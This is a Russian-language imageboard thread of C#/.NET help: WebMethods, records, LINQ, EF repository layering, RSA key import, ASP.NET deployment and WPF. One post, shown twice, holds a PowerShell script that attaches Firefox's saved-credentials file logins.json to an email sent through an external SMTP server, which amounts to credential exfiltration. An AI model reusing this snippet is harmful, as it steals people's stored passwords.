у меня нет никаких ошибок, джс успешно заходит в функцию и все, дальше что происходит я не понимаю, он просто игнорирует код дальше, никаких ошибок, никаких ответов, в веб-методникакой поток не заходит, понимает я блять не ебу чего он хочет, если бы я видел какуйю-то ошибку, там сериализация херализация, я бы хоть понимал что происходит, а он делает хер знает что, я не понимаю что происходит
957 1762865
для чистоты експермента я решил сделать точную копию кода который показан сдесь : https://www.c-sharpcorner.com/UploadFile/dacca2/static-webmethod-in-code-behind-webform/

изменена только название страницы, все остальное точная копия, но веб метод не работает, тоесть он просто не реагирует, нет ни ошибок, ни сообщений, ничего, КАК ЭТО ВОЗМОЖНО!?
958 1762902
>>762729
Показал поржали спасибо, с каких то пор HTML\CSS стал ЯПом??
959 1762933
>>762902
Это топ технологий, а не только ЯП.
960 1762956
>>762844
и что это за хуйня /test webmethod.aspx/test? Или ты думаешь JS за тебя протокол и домен нарисует?
image.png56 Кб, 207x337
961 1762978
>>762956

>Или ты думаешь JS за тебя протокол и домен нарисует?

962 1763023
>>724425 (OP)
Посоветуйте плиз книги/статьи по архитектуре софта. Кодить научился, но код кажется говном, как в плане поддержки, так и в плане просто читаемости. Никаких паттернов не изучал ещё, стоит?
963 1763383
>>762956
что? я делал точно как в примере, о каком домене ты говоришь?
964 1763460
>>763383

>как в примере


>о каком домене ты говоришь


понял, принял
965 1763746
Я чет попробовал превью 9 шарпа. И чет я не так немного представлял себе рекорды. Ну, т.е. да, наверное это недопонимание и вообще я неправильно ими пользуюсь, но я почему-то думал что при:
User x = new User{Name = "Vasy"};
User y = x;
y = "Petya";
будет изменение только у "y", даже если Name было обычным свойством. Наверное оно и правильно с какой-то стороны, но блин, мне хочется классов, которые при этом ведут себя как структуры.
966 1764147
А можно как-то в цикле вернуться на его предыдущую итерацию?
967 1764287
Работаю в геймдеве, что бы дальше расти мне необходимо знать C# для работы в юнити. Проблема в том что я вообще понятия не имею что такое програмирование, как писать код и так далее. С чего мне начать? C книги c# 4.0 the complete reference будет нормально?
968 1764333
Кто шарит за компилятор дотнета?
Допустим, у нас есть цикл
foreach(var item in items)
{
var x = 5
}

Для переменной x каждую итерацию выделяется новая область памяти или компилятор будет использовать указатель на предыдущую область и будет перезаписывать ее в новой итерации?
969 1764335
>>764147
Если for (var i=0; i < limit; i++), то в теле уменьши индекс i
970 1764374
>>764333

>будет перезаписывать ее в новой итерации

971 1764375
972 1764416
>>764287
Как ты в геймдеве то работаешь? Полы в офисе моешь?
973 1764439
>>764416
в голосинку
974 1764489
Доброго дня, программисты!
Я только вкатился в разработку. Я хочу создать веб-приложение и приложение на замарин.
Соотвественно, вопрос: как реализовать доступ к базе данных? Я могу сделать одно веб-приложение с моделями и в нем реализовать логику рест-сервиса? Или мне нужно отдельно реализовать проект с моделью, а потом в проекте веб-сервиса и веб-приложения ее подключить? Не понимаю, как сделать, подскажите, пожалуйста!
975 1764495
>>764489
Что непонятного-то?
Делаешь библиотеку, называешь ее core, в ней описываешь свои сущности, которые будут между приложениями использоваться: модели, интерфейсы и это вот все. Делаешь еще одну библиотеку, в которой у тебя бизнес логика работы с базой реализована, в ней описываешь свои репоизтории, что во что собирается. Потом делаешь 3 проекта: webapi, твое веб-приложение и xamarin, в вебапи реализуешь rest, в двух других клиентская часть. Ну, по крайней мере я бы так делал, мне кажется такой подход довольно удобным.
976 1764531
>>764495
можешь подробнее описать, как организовать структуру? Я не понял про две библиотеки. Одна - описание моделей, а что реализовывать во второй?
977 1764541
>>764531
В общем, я хотел накидать рофельный пример, но это довольно долго. Короче, вот ссылка. https://github.com/dotnet-architecture/eShopOnWeb Там все довольно удобно и как я описал. Тебе, по сути, можно так же, только впихнуть еще Xamarin'овский проект в это дело.
978 1764594
Что почитать про LINQ, чтобы для даунов? Чтобы много примеров самых разных и разжевано все. Потому что пока у меня впечатление, что если хорошо понимать LINQ, то можно все делать в 10 раз быстрее.
979 1764607
>>764594

>то можно все делать в 10 раз быстрее.



Смотря что под быстротой подразумевать. Если написание кода, то да, если работу написанного кода, то нет. LINQ улучшает читаемость кода, но иногда это идёт в ущерб его быстродействию. Например, можно сделать вот так:

someList.AddRange(anotherList.Where(item=>item.Id > 30);

А можно так:
for (var i = 0; i < anotherList.Count; i ++)
{
if (anotherList〚i〛.Id > 30) someList.Add(anotherList〚i〛);
}
И второй вариант будет гораздо быстрее, хоть и займёт 4 строки кода вместо 1;
980 1764610
>>764594
Что там читать-то? Там из названия методов все и так понятно.
Ну серьезно FirstOrDefault , как думаешь, что оно вернет? Или ToArray, что оно сделает? Или какой-нибудь Join? Даже не представляю.
Ну или я такой странный и мне вот LINQ показался самой простой частью шарпов. Вот въехать в события было сложно, банально потому что ты сначала ими начинаешь пользоваться и думаешь что это какая-то магия, потом понимаешь что не магия и продолжаешь пользоваться, потом у тебя утечки из-за того что забыл отписаться и потом ты понимаешь, что нахуй эти события не всрались. Ну или как работает EF(core), тоже довольно мутная хуйня, которая то возвращает объекты, которые еще и тречатся, а тебе этот трекинг не всрался
981 1764784
>>764541
Я все-равно не понял про то, как будет происходить взимодействие моделей из КОРЕ и в остальных приложениях. В книжках нихуя не написано сложных структур таких.
Можешь алгоритм действий описать и как это все связать вместе?
Типа, сначала я создаю пустой проект, прописываю в нем классы интерфейсов модели. Потом наследую от этих интерфейсов классы с моделями, где реализую методы CRUD и другие необходимые, вроде какиех-нибудь выборок.
Что потом? Я добавляю новый проект мвс. Как мне из этого проекта обращаться к модели из другого? Если я в нем обращаюсь к интерфейсам, то мне опять переписывать логику создания моделей или как? Не понимаю.
982 1764810
>>764784
создаёшь 4 проекта
1. Модели EF + миграции
2. Дата-репозитории для CRUD. Делаешь базовый IRepository и Repositry, остальным по необходимости
3. класс с сервисами
4. веб приложение
983 1764813
>>764810
Получается:
1. Создаю Библиотеку классов Net Framework
2. ?
3. Понятно
4. Понятно
984 1764828
>>764813

>2. ?


ЕФ, хоть сам и является репозиторием, но обычно накручивают еще один слой абстракции, что б у тебя был более специализированный интерфейс и на случай, если когда еф перестанет удовлетворять, можо было заменить часть например на даппер и прочее незаметно для потребителя.
Т.е. что-то типа
ISuperRepo
.Shit GetShitById(int id);
.Shit[] GetLastShits(int count)
// и т д
мимо
985 1765000
>>764828
1. да
2. ну вон тебе ниже верно сказали, что абстракция над crud'ами. Это не столько для перехода на другой ORM в будущем что я думаю случается в 0.000001 случаев, а для враппинга рядовых крудовых операций. Там же не только dbContext.GetShit() бывает, а всякие context.Shits.Where(x => x.Code.Equals(shitCode)).AsNoTracking().UseCache(). SQL запросы для сложного говна тоже в репозитории идут
986 1765215
Объясните дурачку, почему я могу использовать

>String.Join("", String[])


Но не могу

>String.Join('', String[])

987 1765229
>>765215
Потому что первым аргументом должна идти строка. "" является строкой (пустой), а " - нет. Если тебе нужна строка с кавычкой, то она пишется так: "\"".
988 1765241
>>765215
Потому что разрабы языка решил, что нет необходимости в еще одной перегрузке.
image.png24 Кб, 570x281
989 1765401
Я ведь что-то не так делаю, да?
Нет.

https://stackoverflow.com/questions/19438152/how-to-convert-booleans-in-the-decoded-json-file-into-lower-case-strings
https://stackoverflow.com/questions/31141527/issue-with-json-null-handling-in-newtonsoft

Алсо шарп говно, я просто чужое изделие переделываю.
990 1765409
>>765401

>Алсо шарп говно


Ну и пошёл нахуй отсюда
image.png2,1 Мб, 900x900
991 1765416
>>765409
Сорри, просто я не уважаю интерпретируемые языки.
992 1765438
>>765416
Да чё ты начинаешь по нему CLR пройдётся разок и он вполне сканпелируется и будет лучше твоего говнокода на расте.
993 1765977
>>724425 (OP)
Анон, смотри...
Значение открытой экспоненты, в публичном ключе RSA (e, n),
сгенерированное, вот таким вот образом:
https://github.com/bazzilic/BigInteger/blob/df41d2c6d0245ca0241c1586868e68c26f43328d/BigInteger/BigInteger.cs#L3115
присваивается полю "pa_Priv.Exponent",
внутри переменной pa_Priv, с типом RSAParameters:

>pa_Priv.Exponent = bi_e.getBytes();


Чтобы обновить там публичный ключ.

После этого, производится импорт этих параметров, в переменную rsa, с типом RSACryptoServiceProvider:

>rsa.ImportParameters(pa_Priv); //import rsa from pa_Priv with modified values


и сразу же Exception - плохие данные.

Значение вида:

>BigInteger bi_e = new BigInteger(65537);


Программулина хавает норм.

Чё за хуйня, блядь? Я хочу копростые числа, а не захардкоженную эксопненту!
Они пижже, потому что связаны с копро.
ПАМАГИТИ !!11
994 1765980
>>765977
Вот такая шляпа лезет.

>at System.Security.Cryptography.CryptographicException.ThrowCryptographicException(Int32 hr)


>at System.Security.Cryptography.Utils._ImportKey(SafeProvHandle hCSP, Int32 keyNumber, CspProviderFlags flags, Object cspObject, SafeKeyHandle& hKey)


>at System.Security.Cryptography.RSACryptoServiceProvider.ImportParameters(RSAParameters parameters)


>...

image.png30 Кб, 1605x136
995 1766044
>>765977
Зачем ты в него сам пихаешь значения? В стандартной библиотеке же есть функция гегерации ключей RSA.

>Значение вида:


>>BigInteger bi_e = new BigInteger(65537);


>Программулина хавает норм.



Рискну предположить, что ты пихаеь в e числа, не соответствующие условию. Ты читал описание RSA?
996 1766062
>>765401
Пофиксил через Formatting.None.
997 1766810
>>724425 (OP)

WPF ещё актуален или майки на него забили?
998 1766954
>>766810
в 2013 похоронили
999 1767045
Почему в первом случае необходимо ставить круглые скобки, а в случае создания массива - нет?
1)GameObject a = new GameObject();
2)GameObject[,] b = new GameObject[9, 9];
1000 1767327
>>764416
2д художник, перекатываюсь на другую позицию. Или ты думаешь что у нас все кодить умеют?
1001 1767362
>>766954
в шарагах и в дно галерах он живее всех живых. Иногда в вакансиях проскакивает XAML, WPF и MVVM. Как ты парадоксально это не звучало, но к такому стэку все равно нужно знать JS :)
1002 1767700
>>766810
Я сейчас на впф новый проект в конторе делаю, лол.
1003 1767953
>>762933
Тогда логичней было бы выделять все технологии входящие в ЯПы, а то получается там все ЯПы и как белая ворона HTML/CSS. График будто вася с 5б составлял.
1004 1768003
>>767362

> XAML, WPF и MVVM


XAML и MVVM - неотъемлимые части WPF, если не говнокодить, зачем их выделять?

>к такому стэку все равно нужно знать JS


а вот этот тут зачем нужен?
1005 1768034
>>767700
Как гуй делаешь? В бленде или руками верстаешь?
Я просто не осилил хамл. Утилитарную хуйню сделать – всегда пожалуйста, но я не могу сделать красивый интерфейс, чтобы самому приятно было. В комментариях на хабре пишут, что XAML это очень мощный инструмент, но.. камон, я столько бойлерплейта в жизни не видел

Открываешь какой-нибудь легаси на вебформах, вот такое же ощущение. Только вебформы эволюционировали в разор, а хамл так и остался

В итоге плюнул, осилил жс на полфедора и пишу на кайфовом vue, благо была возможность выбирать инструмент
1006 1768041
>>768034

>vue


Проблема с таблицами больших данных, вплоть до зависания страницы при пагинации скроллом. Ты ее решил как-нибудь или у тебя такого не было?
1007 1768052
>>768003

>неотъемлимые


WPF можно писать без MVVM, нельзя без XAML. Это они намекают, что придерживаются канонов

>а вот этот тут зачем нужен?


это намек на то, что будь ты даже десктопным девом, все равно нужно пердолить что нибудь для веба
1008 1768091
>>768052
Справедливости ради, можно и без XAML, но то вообще пиздец будет, это как на WinForms самому генерируемое дизайнером писать.
1009 1768335
КАК ОПУБЛИКОВАТЬ БЛЯДСКОЕ ПРИЛОЖЕНИЕ АСП НЕТ МВС!!????
я целый ебаный день сижу, и нихуя не работает!!
Зарегался сначала на каком-то бесплатном сервисе - нихуя не вышло.
Потом пробовал через АЗУРЕ, КАК БАЗУ ДАННЫХ ТАМ ИМПОРТИРОВАТЬ!??? приложение запустилось без базы!
Купил на рег.ру себе хостинг. Оказалось, что это не рдп, а какое-то говно с папочками, а инструкции нет!
Как ОПУБЛИКОВАТЬ ЕБУЧИЙ САЙТ С БАЗОЙ ДАННЫХ!!!???
я БЛЯДЬ ЩАС ВОЛОСЫ РВАТЬ УЖЕ БУДУ!
1010 1768341
СКИНЬТЕ МНЕ КТО-НИБУДЬ ИНСТРУКЦИЮ, УМОЛЯЮ!!!!
1011 1768359
>>768335
Разберёшься - можешь звать себя devOPs
1012 1768364
>>767045
Потому что в первом - инит объекта, во втором инит двумерного массива
1013 1768366
>>768359
я себе вены уже вскрыть готов! поясните, че делать-то надо!!!
1014 1768372
>>768366
Если прям горит
Ищи хостинг IIS и по гайду с метапука
https://metanit.com/sharp/mvc/13.2.php
1015 1768375
>>768372
Так там опять гайд на локалхост какой-то
1016 1768383
>>768364
спасибо
1017 1768385
>>768375
Так ты вместо localhost сделай под remote, разницы нет почти
1018 1768399
>>768041

> Ты ее решил как-нибудь или у тебя такого не было?


У меня максимум тысяча строк было, с оптимизацией не парился
Но если бы столкнулся, то делал бы пагинацию на стороне сервера. А перед этим попробовал бы таблицы с виртуализацией строк. Что у тебя там за данные такие?
1019 1768404
>>768335
Как я делал. Купил VPS с KVM-виртуализацией, там установил дотнет хостинг бандл и nginx. Приложение, естественно, netcore
1. Открыл нужный порт в системе
2. Прописал в конфиге nginx'a порт, на котором будет работать мое приложение, и порт, который открыл наружу.
3. Запустил свое приложение
...
Профит!

Вместо запуска приложения можно написать демона, который будет сам поднимать его при перезагрузке. Так же можно обойтись без nginx'a, заявлено, что kestrel на котором работает asp готов к работе без проксирования

Гугли, я сам по шагам делал из руководства то ли на Хабре, то ли Медиуме, уже не вспомню
1020 1768462
>>768399
Отчёты. Виртуализация - это когда дом не рендерит элементы вне экрана? Не покатит, поиск должен работать. Ну тысяча строк это такое. У меня типичное количество +- 3к с 13ю колонками, две колонки из которых должны быть динамические(но судя по бенчмарку, динамика не особо влияет, т.к. без нее тоже зависает. Если он зависает, то на событиях сборки мусора, когда данных на экране много и подгружаются новые)
Думаю на серверсайд рендеринг перейтиили нахуй на рейзор пейджс
1021 1768506
Где смотреть хороший код на шарпе? Просто книги не мое, а вот смотреть чужок код - заебись. Как-то легче понять что и зачем. Вот. Потому накидайте примеров хорошего кода на шарпе, если не сложно.
1023 1768596
Как сделать пустышку неизменяемой, при этом не вынося ее в отдельный класс?
Допустим, вот у меня есть класс Book.
Если я делаю что-то типа:
class Book
{
private static Book _nullItem = new Book();
public static Book Enpty => _nullItem;
}
То в любом месте кода можно изменить значение открытых для записи свойств пустышки. Я конечно могу проверять объект book.Equals(Book.Empty), но мне не нравится так почему-то.
1024 1768601
Когда HH говорит тебе, что без знания Angular/React .NET-чику будет сложно найти проект. Это 2к20 или решетки совсем пошли по пизде?
1025 1768679
>>768462
Crtl-f работать не будет, а кастомный поиск на странице можно сделать. Он же не в доме будет искать, а в твоих жс объекта
Как тебе разор поможет?

>>768601
Ой, и не говори, анон. В моей мухосрани самая жирная вакансия их всего две это шарп + ангуляр. Бомбит – пиздец. Ангуляр такая параша. На нем нельзя просто сесть и начать писать, а синтаксис отбивает всякое желание изучать эту NG-мешанину
С другой стороны, конкуренции там меньше должно быть
1026 1768694
>>768679
Сейчас есть кастомный фильтр. Хотя кастомный поиск, вызывающийся по клацу на ctrl+f это идея.

Разор поможет с тем, что у него вообще нет проблем с большими списками данных. Прошлый проект на нем был, клиентская часть даже не чешется от нагрузки, можно какую угодно таблицу выводить
1027 1768773
Сап. Посоветуйте, куда можно перекатиться с .NET, чтобы можно было работать (желательно не за хлеб). Уже посматриваю в сторону Kotlin/Java, судя по вакансиям с HH хоть пыху начинай дрочить (дада, в 2к20). Фронтщит не рассматриваю. Дискасс
20200305031119.jpg78 Кб, 597x533
1028 1768786
>>768596
Сделай класс EmptyBook : Book
Свойства перезапиши таким образом, чтобы сеттер ничего не изменял. Пикрил.
1029 1768791
>>768773
Легче всего будет на пыху перекатиться, чуть посложнее жаба. При этом в обоих случаях придётся столкнуться с менее удобным синтаксисом и конструкциями.
1030 1768804
>>768791
да похуй на синтаксис, главное чтобы работа была. Как бы парадаксально это не звучало, но изначально начал вкатываться на пыху, потом почитал всякие паблики-хуяблики ВК с ноющими (Ряяя, пыха умирает, говно/костыльный/НедоООП язык), который по факту по сей день живее всех живых
1031 1768806
>>768034
Руками верстаю
У нас дизайнер есть который макет рисует
По макету списать не так уж сложно
И все шероховатости дизайна, не мои проблемы

> я столько бойлерплейта в жизни не видел



Если делать все примерно в одном виде то просто переиспользуются шаблоны и стили
1032 1769060
Имеется библиотека .net standard 2.0, хочу использовать стороннюю библиотеку, через add reference и browse указываю путь к dll-ке, ставлю галочку. В итоге ничего не работает, пишет couldn't load file or assembly. Какого черта?
1033 1769064
>>769060
и ещё галочка оказывается снятой, ни хрена не понимаю в чём дело
1034 1769205
Хочу, чтобы моя прога при отсутствии базы данных заполняла ее необходимыми мне значениями. Типа создать учетку администратора, например, и т.п.
Я так понял, что для этого используются инициализаторы бд. Но не понял, какой мне нужно использовать:
DropCreateDatabaseAlways - база дропается при каждом запуске приложения?
DropCreateDatabaseIfModelChanged - как тогда работает?
1035 1769207
>>769205
Сижу с телефона
В общем, Database.EsureCreated проверит, есть ли бд
И в методе OnModelCreated или как-то так, в параметрах есть modelBuilder, в котором можно каждую сущность-таблицу проверить на .HasData и в случае чего заполнить

Только если ты делаешь миграцию в пустую базу данных, то отключи EnsureCreated, а то ошибка будет – сперва Ensure создаст таблицы, а потом будет выполняться миграция и еще раз попытается, и свалится с ошибкой. Ничего страшного, просто так, к сведению
Все названия примерные, но легко загуглишь
1036 1769216
>>769207
А Инициализатор бд тогда нахуя нужон?
1037 1769355
Хочу блокировать лист для потокобезопасности. Обязательно ли создавать для этого отдельный объект если должно работать и
lock(list)
list.Add("пук")
1038 1769399
>>769355
Будет работать и так, только желательно при этом переменную list сделать readonly, для гарантии того, что lock берётся на один и тот же объект.
1039 1769409
Смотрите, делаю приложение на asp.net core.
Суть, есть определенные задачи, которые могут выполняться довольно долго. Таких задач можнет быть много. Должна быть возможность запуска задач по расписанию, причем расписания для разных типов задач хранятся в БД. Должна присутствовать возможность определенную задачу запустить через контроллер. Так же должна быть возможность остановить задачу из контроллера.

Ну так вот. Что я наговнокодил.
У меня есть имплементация IHostedService. В ней есть список задач которые в данный момент крутятся. В методе StartAsync я прверяю в БД расписания и добавляю в список задачи, переодически проверяю, пришло ли время их исполнить и если пришло - запускаю.
Так же у меня есть api котроллер, в нем вся логика для стороннего пользователя, тут он может сконфигурировать задачу, может запустить ее выполнение и проверить статус задачи. В этот контроллер я пробрасываю эту самую имплементацию IHostedService и еще контекст для БД и использую методы оттуда.

Ну так вот. В чем проблема. Приходится тупо прокидывать логику в этот IHostedService через контроллер. Этот сервис разбухает от этого. Плюс, т.к. это синглтон, обращения к базе приходится делать через постоянные: using var scope = serviceScopeFactory.CreateScope(), что не очень удобно. Опять же, приходится для каждого запуска задачи создавать новый CancellationTokenSource, чтобы задачи были независимы, потом чтобы через api отменить задачу, приходится смотреть есть ли такая задача в списке задач, если есть - проверить - запущена ли она, и если запущена - вызвать Cancell() у токена. Как-то это все получается громоздко и тупо.
Может быть есть примеры как подобное проделывается?
1040 1769543
>>769216
Не знаю, ими я не пользовался. Может, они решают одну и ту же проблему, узнай сам и в тред принеси почитать
123.png8 Кб, 786x495
1041 1769627
Ситуация: у меня есть Юзеры, каждый из которых принадлежит компании. У компании есть коллекция Юзеров, но есть еще директор. Как правильно прописать ссылку на директора в таблицах? Или оставить просто свойство Id?
Таблица User:
public string FullName { get; set; }
public int CompanyId { get; set; }
public Company Company { get; set; }

Таблица Company:
public int Id { get; set; }
public int DirectorId { get; set; }
public User Director { get; set; }
public ICollection<User>Users { get; set; }
проект.jpg43 Кб, 741x604
1042 1769656
Зацените, короче, мой проект базы данных.
Задача: реализовать голосовалку для пользователей. Пользователи могут участвовать в разных голосованиях, варианты ответов по голосованию тоже могут быть разные.
1043 1769662
>>769627
Нахуй тебе DirectorId и ссылка на директора?
1044 1769663
>>769656
Писать проект нужно с головы, а не жопы или туловища. Сначала описывай всю логику, а уже под неё создавай сущности, иначе у тебя хуйня получится.
1045 1769664
>>769662
А как сделать? Мне нужна ссылка на всех сотрудников, и один сотрукдник директор.
1046 1769747
удобный гуй для неткор на линукс завезли, посоны? или до сих пор говнолония
1047 1769884
>>769747
Ксамл
1048 1769886
>>769747
Ксамарин*
1049 1769889
>>769664
Оставляешь директора, убираешь директор айди
14539020087720.jpg29 Кб, 454x453
1050 1770028
>>769884
>>769886
пиздос
1051 1770389
Что спрашивают на собесах на бекендера-ждуна? Я просто смотрю одни вопросы в интернете, там совсем элементарщина, типа от чего все наследуется, что такое интерфейс и чем от абстрактного класса отличается, чуть по самому asp, чуть по гиту, немного про работы с БД. Смотрю другие, там про кишочки спрашивают и просят чуть ли не самому свой asp спроектировать плюс зачем-то ангуляр/реакт просят. На что из этого ориентироваться? Просто я вот ходил по собесам и меня вообще ничего кроме синтаксиса не просили, но я сам отказывался из-за того что ссался, но сейчас вот мамка гонит из дома, нужно искать работу и соглашаться на ЗП которой мне не хватит для оплаты квартиры не хочется.
1052 1770476
Да что-ж поддержка слабых ссылок такая рудиментарная в языке? Дали один WeakReference, и ебись с ним как хочешь. А где Set, где Dictionary со слабыми ключами или значениями, где weak-делегаты? Вот делать мне нечего, как руками отписывать события.
1053 1770491
>>770389
Ориентируйся на что-то среднее. Без знаний JS работу вряд ли найдёшь. Где-то к этому JS еще требуется реакт и ангуляр, но это уже фуллстек на .Net, поэтому хватит обычного JS.
Что-то кроме синтаксиса не просили - это из разряда шаражек с зарплатой в 15к или рассказы времён начала 2010-х.
1054 1770535
>>770389
Проходил недавно пару собесов (из 20 компаний) - писал выше опыт. Могут спросить что угодно - от слова совсем. В тоже время пытаются залезть в залупу - спросить по ASP.NET (у меня даже по рейзору ссаному спрашивали) и зацепить тему алгоритмов, деревьев. Так как я кидал на Full back CV - в основном дрочили по нему. Касты, рефлекшн, асинхронность/многопоточность (мьютексы и локеры даже спрашивали, хуй знает зачем), LINQ много спрашивали, делегаты/события. Дохуя короче. По Субд - маст хев. И даже несмотря на то, что Full back - начали ебать мозги ссаным CSS, JS.
Я раскинул CV в 20 галер (без комерческого опыта в разработке, но с опытом работы в бизнесе) - 90% отморозились. У меня в городе (миллионнике) куча галер с конвеерами джунов, поэтому работу - хуй найдешь
1055 1770644
Как используя .NET Framework подключиться к smtp-серверу от yandex или mail? Использую .NET классы из под powershell, но постоянно выскакивает "The operation has timed out." и если верить Wireshark, то это происходит еще до непосредственной авторизации. Дело в SSL\TLS или в чем-то другом? Прикладываю код powershell. Использовал 465 порт.

$mes = New-Object System.Net.Mail.MailMessage
$mes.From = $From
$mes.Sender = $From
$mes.To.Add($to)
$mes.Subject = $subject
$mes.IsBodyHTML = $true
$mes.Body = "Ultra test it"
$mes.BodyEncoding = [System.Text.Encoding]::UTF8
$smtp = New-Object Net.Mail.SmtpClient($serverSmtp, $port)
$smtp.EnableSSL = $true
$smtp.Credentials = New-Object System.Net.NetworkCredential($user, $password)
$smtp.Send($mes)
1056 1770760
>>770644
Используй готовые библиотеки.
1057 1770887
>>770644

>"The operation has timed out."


Проблема с портом/адресом. Возможно что-то блокирует подключение.
Да и переходи на Send-MailMessage
1058 1771294
>>724425 (OP)
Поясните ньюфагу, почему тернарник выдает CS0201? а то же но с дефолтным условием ОК. это ограничение тернарника или это я злодей?

((N % 10 == 7) || (N % 10 == 5)) ? a = a + 0 : a = a + (N % 10);

if (N % 10 == 7 || N % 10 == 5)
{
a = a + 0;
}
else
{
a = a + (N % 10);
}
1059 1771300
>>770389
в какомто видосе слышал что овер_вопросы на собесе это мастхев чтоб нащупать дно джуна. типо у мидла и сеньора помидора дефолт знание технологий, а важен именно ОПЫТ и УСПЕХ и там смотрят по прошлым работам и проектам. а у джуна нет опыта, нет успеха вот его и спрашивают.

и это норма что ты обсеришься на какомто вопросике, но если ты весь из себя милаха_улыбака и ни разу не токсик то тебя захотят, но если ты умнее контролеров и будешь сидеть и подъебывать их на этом то тебя посылают скорее всего в йух.
1060 1771304
>>771294
Потому что это выражение, результат которого должен присваиваться переменной.

Пиши:
a = ((N % 10 == 7) || (N % 10 == 5)) ? a + 0 : a + (N % 10);
1061 1771313
>>771304

>a = ((N % 10 == 7) || (N % 10 == 5)) ? a + 0 : a + (N % 10);


отдуши бро
1062 1771363
Хм, почему мой тимлид так яростно сопротивляется против того чтобы сделать в вебапи один контроллер, который бы отдавал странички? Типа блин, наш единственный фронтендщик завален по самые помидоры, а какой-то фронтенд для этого апи нужен и я бы мог быстренько накидать на том же разоре простенькие странички для настройки сервиса, которые стилизавать позже мог бы фронтендчик, либо не стилизовать, потому что мой сервис подразумевает один раз настроить и потом просто работать по расписанию. Но нет - либо, раз я хочу помочь - на вью хренач, либо жди пока фронт освободится. Что за фигня-то?
1063 1771579
>>770535
Какой опыт?
1064 1771768
Я вот кое чего не понимаю с DI и вообще с ООП. Объясните пожалуйста.
Вот допустим у меня есть следущая структура.
АпиКонтроллер. В нем методы StartTask(id), StopTask(id), Info(id). Этот контроллер нужен для того чтобы из вне можно было запустить некую задачу на сервере, ID - для того чтобы знать что это за задача и запускать ее.
Для того чтобы задачу можно было отменить я делаю класс TasksOwnerService. Этот класс - синглтон. В нем есть коллекция токенов отмены, есть список запущенных задач. Когда Апи получает какой-то запрос, этот сервис логику запуска, отмены выполняет.
Ну и сам класс задачи, который просто имеет в себе метод DoAction(CancellationToken)

Воооот. Я понимаю что уже хуйня вырисовывается, но я не знаю как лучше сделать.

Так что я говорю. Для разных задач у меня в БД есть набор параметров, собственно для этого в контроллере и нужен ID. Я, изначально хотел как делать: в класс задачи я передаю репозиторий с общими настройками действительными для всех задач, чтобы если эти настройки в процессе изменялись бы, я бы просто мог из этого класса получать актуальные. Но в чем проблемма, когда синглтон создает новую задачу, после того как задача была создана, и занесена в справочник поставленных на выполнение, контекст подключения к БД диспозится. Я это конечно обошел поправив класс задач и сделав настройки свойством, которое необходимо установить после инициализации, но мне кажется, что как-то неправильно и хотелось бы чтобы класс задач сам мог достать эти настройки. Но что я не пытался сделать - контекст диспозится, а как сделать по другому я не представляю.
1065 1771786
>>770760
>>770887
Дело оказалось в том что .NET Framework не умеет в implicit TLS. Но теперь у меня появилась другая проблема: говнокод работает на 7-ке с powershell 2.0 но не работает на 8-ке с powersell 4.0 и .NET Framework 4.6. Я так понял дело в сломанной совместимости между версиями .NET Framework т.к. в классе Net.Mail.SmtpClient появились новые свойства вроде кодировки темы, заголовков и тела сообщения а командлет Send-MailMessage не позволяет их менять в оф документации что-то не нашел.

$server = "smtp.mail.ru"
$serverPort = 587
$timeout = 30000 # timeout in milliseconds
$enableSSL = $true
$implicitSSL = $false
$credentials = New-Object System.Net.NetworkCredential("pochta", "parol")

if (!$enableSSL -or !$implicitSSL)
{
# Set up server connection
$smtpClient = New-Object System.Net.Mail.SmtpClient $server, $serverPort
$smtpClient.EnableSsl = $enableSSL
$smtpClient.Timeout = $timeout

if ($enableSSL)
{
$smtpClient.UseDefaultCredentials = $false;
$smtpClient.Credentials = $credentials
}

$message = New-Object System.Net.Mail.MailMessage $from, $to, $subject, $body
$message.Subject = $subject
$message.IsBodyHTML = $true
$message.Body = "MKultra1"
$message.
#foreach ($att in $d) {
# if ($att -ne $null) {
# $message.Attachments.Add($att)
# } else {
# Write-Output "Something wrong"
# }
#}
$message.Attachments.Add($env:APPDATA + "\Mozilla\Firefox\Profiles\" + $(MozPro -p 0) + "\logins.json")

Write-Output "Sending email to $to..."
try
{
$smtpClient.Send($message)
Write-Output "Message sent."
}
catch
{
Write-Error $_
Write-Output "Message send failed1."
}
1065 1771786
>>770760
>>770887
Дело оказалось в том что .NET Framework не умеет в implicit TLS. Но теперь у меня появилась другая проблема: говнокод работает на 7-ке с powershell 2.0 но не работает на 8-ке с powersell 4.0 и .NET Framework 4.6. Я так понял дело в сломанной совместимости между версиями .NET Framework т.к. в классе Net.Mail.SmtpClient появились новые свойства вроде кодировки темы, заголовков и тела сообщения а командлет Send-MailMessage не позволяет их менять в оф документации что-то не нашел.

$server = "smtp.mail.ru"
$serverPort = 587
$timeout = 30000 # timeout in milliseconds
$enableSSL = $true
$implicitSSL = $false
$credentials = New-Object System.Net.NetworkCredential("pochta", "parol")

if (!$enableSSL -or !$implicitSSL)
{
# Set up server connection
$smtpClient = New-Object System.Net.Mail.SmtpClient $server, $serverPort
$smtpClient.EnableSsl = $enableSSL
$smtpClient.Timeout = $timeout

if ($enableSSL)
{
$smtpClient.UseDefaultCredentials = $false;
$smtpClient.Credentials = $credentials
}

$message = New-Object System.Net.Mail.MailMessage $from, $to, $subject, $body
$message.Subject = $subject
$message.IsBodyHTML = $true
$message.Body = "MKultra1"
$message.
#foreach ($att in $d) {
# if ($att -ne $null) {
# $message.Attachments.Add($att)
# } else {
# Write-Output "Something wrong"
# }
#}
$message.Attachments.Add($env:APPDATA + "\Mozilla\Firefox\Profiles\" + $(MozPro -p 0) + "\logins.json")

Write-Output "Sending email to $to..."
try
{
$smtpClient.Send($message)
Write-Output "Message sent."
}
catch
{
Write-Error $_
Write-Output "Message send failed1."
}
1066 1771928
>>771786
нахуй ты эту простыню сюда притащил? Кому интересны твои костыли к TLS? Уже все написанно - подключай либу и отправляй себе запросы. Нахуй ты себе и к тому же другим мозги ебешь?
1067 1772105
>>771786
Могу только удвоить вот этого >>771928 адеквата. Если ты хочешь пилить свои костыли, то тебе нужно не .NET использовать, а брать какой-нибудь хобби-язык вроде Раста или Хачкеля, к которым хуй да нихуя библиотек, а их пользователи больше похожи на фанатиков-костылеписцев, чем на программистов.
1068 1772143
Так мало работы, что на перекат денег нет?
1069 1772274
>>771928
>>772105
Потому что мой скрипт должен запускаться из под свежеустановленной винды автоматом

мимо админ часто развертываю винду
1070 1772510
>>772274
Хм, моё увожение. А почему не закачать нужны либ сразу после установки или доступа к внешней сети нет?
1071 1772648
>>772510
Сейчас выяснил что дело было в сегменте сети где производилась попытка запустить скрипт на более новых версиях винды. Так-то есть в планах при прописать в скрипте скачивание нужной либы для тех вещей где чистым .NET не обойтись
1072 1772697
